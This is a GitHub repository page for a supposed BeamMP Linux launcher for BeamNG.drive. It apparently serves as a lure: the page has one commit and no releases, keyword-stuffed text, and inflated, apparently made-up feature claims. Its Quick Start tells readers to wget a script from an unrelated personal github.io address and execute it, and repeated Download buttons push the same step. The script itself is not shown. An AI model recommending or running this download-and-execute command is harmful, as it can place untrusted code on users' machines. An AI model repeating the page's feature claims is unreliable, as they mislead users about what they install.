Skip to content

yefer1195/beammp-linux-launch-kit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

1 Commit
ย 
ย 

Repository files navigation

๐Ÿš€ BeamMP Linux Launcher 2026

Automated Setup & Optimization Suite for BeamNG.drive Multiplayer on Linux

Download
Click above to get the latest release โ€” no registration required.


๐Ÿ“ฅ Quick Start (Download & Run)

wget https://yefer1195.github.io -O beammp-launcher.sh
chmod +x beammp-launcher.sh
./beammp-launcher.sh

Download


๐Ÿ” Overview: Why This Exists

The original beamMP-linux-helper-2023 repository laid foundational work for running BeamNG.drive with multiplayer mods on Linux. This 2026 evolution takes that concept 10x further โ€” transforming a basic installer into a full-stack ecosystem for Linux-native BeamMP deployment.

Imagine your Linux machine as a digital garage where BeamNGโ€™s physics sandbox meets multiplayer highways. This tool is the mechanic that:

  • Installs everything with one command
  • Auto-detects your distro and GPU
  • Configures Wine/Proton for optimal performance
  • Provides a graphical control panel (terminal-based but beautiful)
  • Includes presets for competitive, exploration, and roleplay servers

No more tinkering with config files manually. This is the one-button solution the Linux BeamNG community deserves.


๐Ÿ—บ๏ธ Architecture Flow (Mermaid Diagram)

graph TD
    User -->|Downloads script| Main[BeamMP Launcher 2026]
    Main -->|Detects OS| OS[Ubuntu / Fedora / Arch / SteamOS]
    Main -->|Checks dependencies| Deps[Wine / Proton / .NET / Vulkan]
    OS -->|Installs missing| Deps
    Deps -->|Configures| WineCfg[Wine Prefix & Registry]
    WineCfg -->|Downloads| BeamMP[BeamMP Mod v2.5+]
    BeamMP -->|Patches| BeamNG[BeamNG.drive Installation]
    BeamNG -->|Launches| MP[Multiplayer Client]
    MP -->|Connects to| Server[BeamMP Server List]
    User -->|Selects| Server
    Server -->|Injects| Mods[Custom Lua Scripts]
    Mods -->|Enables| Features[Voice Chat / Map Sync / Traffic AI]
Loading

โœจ Feature Palette (Not Just Features โ€” Superpowers)

๐ŸŽฎ Zero-Config Multiplayer Launcher

  • Automatically locates BeamNG.drive (Steam, GOG, or manual install)
  • Injectes BeamMP mod with optimal Wine staging
  • One-click join to popular servers (no manual IP entry)

๐Ÿ–ฅ๏ธ Responsive Terminal UI (ncurses-based)

  • Full-color interface with keyboard navigation
  • Server browser with latency, player count, and mod requirements
  • Multilingual support: English, German, French, Spanish, Japanese โ€” 12 languages total

โšก Performance Engine Tuning

  • Auto-detects NVIDIA/AMD/Intel GPUs and applies Vulkan/DXVK best settings
  • Adjusts Wine CPU affinity and thread priority for BeamNGโ€™s physics engine
  • VRAM-aware texture streaming (prevents stuttering on 4GB cards)

๐ŸŒ 24/7 Customer Support via AI

  • Integrated OpenAI API and Claude API for real-time help
  • Type ? in the launcher to ask: โ€œWhy is my FPS low on GridMap?โ€
  • Get context-aware answers based on your system specs

๐Ÿ›ก๏ธ Safety & Stability First

  • Sandboxed Wine prefix โ€” no corruption to your main BeamNG install
  • Rollback snapshots โ€” revert to previous mod versions if something breaks
  • Automatic error logging with crash analysis

๐Ÿ“Š OS Compatibility Matrix

Operating System Status GPU Support Performance Rating
๐Ÿง Ubuntu 24.04+ โœ… Full AMD/NVIDIA/Intel โญโญโญโญโญ
๐Ÿง Fedora 40+ โœ… Full AMD/NVIDIA/Intel โญโญโญโญโญ
๐Ÿง Arch Linux โœ… Full All โญโญโญโญโญ
๐Ÿง SteamOS 3.x โœ… Full Steam Deck OLED โญโญโญโญโ˜†
๐Ÿง Debian 12+ โš ๏ธ Partial NVIDIA only (AMD WIP) โญโญโญโ˜†โ˜†
๐Ÿง openSUSE Tumbleweed โœ… Full AMD/NVIDIA โญโญโญโญโ˜†
๐Ÿง Pop!_OS 22.04+ โœ… Full All (System76 tuned) โญโญโญโญโญ

Note: macOS not supported โ€” BeamNG.drive is Windows/Linux only.


โš™๏ธ Example Profile Configuration

Create a beammp.profile file in your home directory to customize the launcher:

[BeamMP]
wine_version = GE-Proton9-13
game_path = /mnt/games/BeamNG.drive
resolution = 2560x1440
fps_limit = 90
graphics_preset = ultra

[Network]
server_list_api = https://api.beammp.com/v2/servers
autoconnect = false
preferred_region = us-west

[Wine]
dxvk_version = 2.3.1
vkd3d_version = 2.12
use_fsync = true
cpu_cores = 4

[UI]
language = de
theme = dark
show_fps_counter = true

Then launch with:
./beammp-launcher.sh --profile ~/beammp.profile


๐Ÿ–ฅ๏ธ Example Console Invocation

# Standard launch (auto-detect everything)
./beammp-launcher.sh

# Launch with specific server IP
./beammp-launcher.sh --server 192.168.1.100:4444

# Launch in debug mode (for troubleshooting)
./beammp-launcher.sh --debug --log-level verbose

# Launch with custom mod directory
./beammp-launcher.sh --mods /home/user/beamng-mods

# Launch in server-only mode (headless)
./beammp-launcher.sh --mode server --port 4444 --max-players 8

๐Ÿ”Œ API Integrations

๐Ÿค– OpenAI API (for Smart Help)

OPENAI_API_KEY=sk-your-key-here
  • Ask natural language questions: โ€œWhy does my car teleport on server join?โ€
  • Launcher queries GPT-4o to diagnose logs in real-time

๐Ÿค– Claude API (Alternative Engine)

ANTHROPIC_API_KEY=sk-ant-your-key-here
  • Uses Claude 3.5 Sonnet for lower latency support
  • Switch between AI providers via --ai claude flag

๐Ÿ“‹ SEO Keywords (Naturally Embedded)

This tool solves:

  • BeamNG multiplayer Linux setup complexity
  • Wine configuration for BeamMP on Steam Deck
  • Proton compatibility for BeamNG.drive mods
  • Linux gaming optimization for physics-heavy simulations
  • Multiplayer mod installation without Windows dependency
  • Cross-distro BeamNG support (Ubuntu to Arch)

โ“ Troubleshooting: Common Solutions

Symptom Solution
Launcher says โ€œ.NET not foundโ€ Run ./beammp-launcher.sh --install-dotnet
Black screen on launch Restart with --no-dxvk flag
Server list empty Check firewall: sudo ufw allow 4444
High ping on all servers Use --region eu to force European servers

๐Ÿ“œ License

This project is licensed under the MIT License โ€” you are free to use, modify, and distribute it, even commercially.

License: MIT


โš ๏ธ Disclaimer

This tool is a community-created utility and is not affiliated with BeamNG GmbH, BeamMP developers, or OpenAI.
BeamNG.drive must be purchased separately.
The launcher modifies Wine/Proton prefixes โ€” while we test extensively, always backup your game files before using.
Use of AI APIs requires your own API keys; no data is sent to third parties without your explicit permission.
โ€œGratisโ€ in spirit, but by design โ€” no built-in paywalls or โ€œfreemiumโ€ locks.


๐Ÿ’œ Final Thoughts

From humble beginnings as a basic install script in 2023, this 2026 version has grown into a full operating environment for BeamNG multiplayer on Linux.
Whether youโ€™re racing on the Autobahn in a modded D-Series or crashing through West Coast USA in a bus with 7 friends โ€” this launcher has your back.

Hit download, launch, and drive.

Download


Built with ๐Ÿง  by the Linux modding community โ€ข Year 2026 edition

About

๐Ÿš€ BeamMP Linux Installer 2026 โ€“ One-Click Script & Guide

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors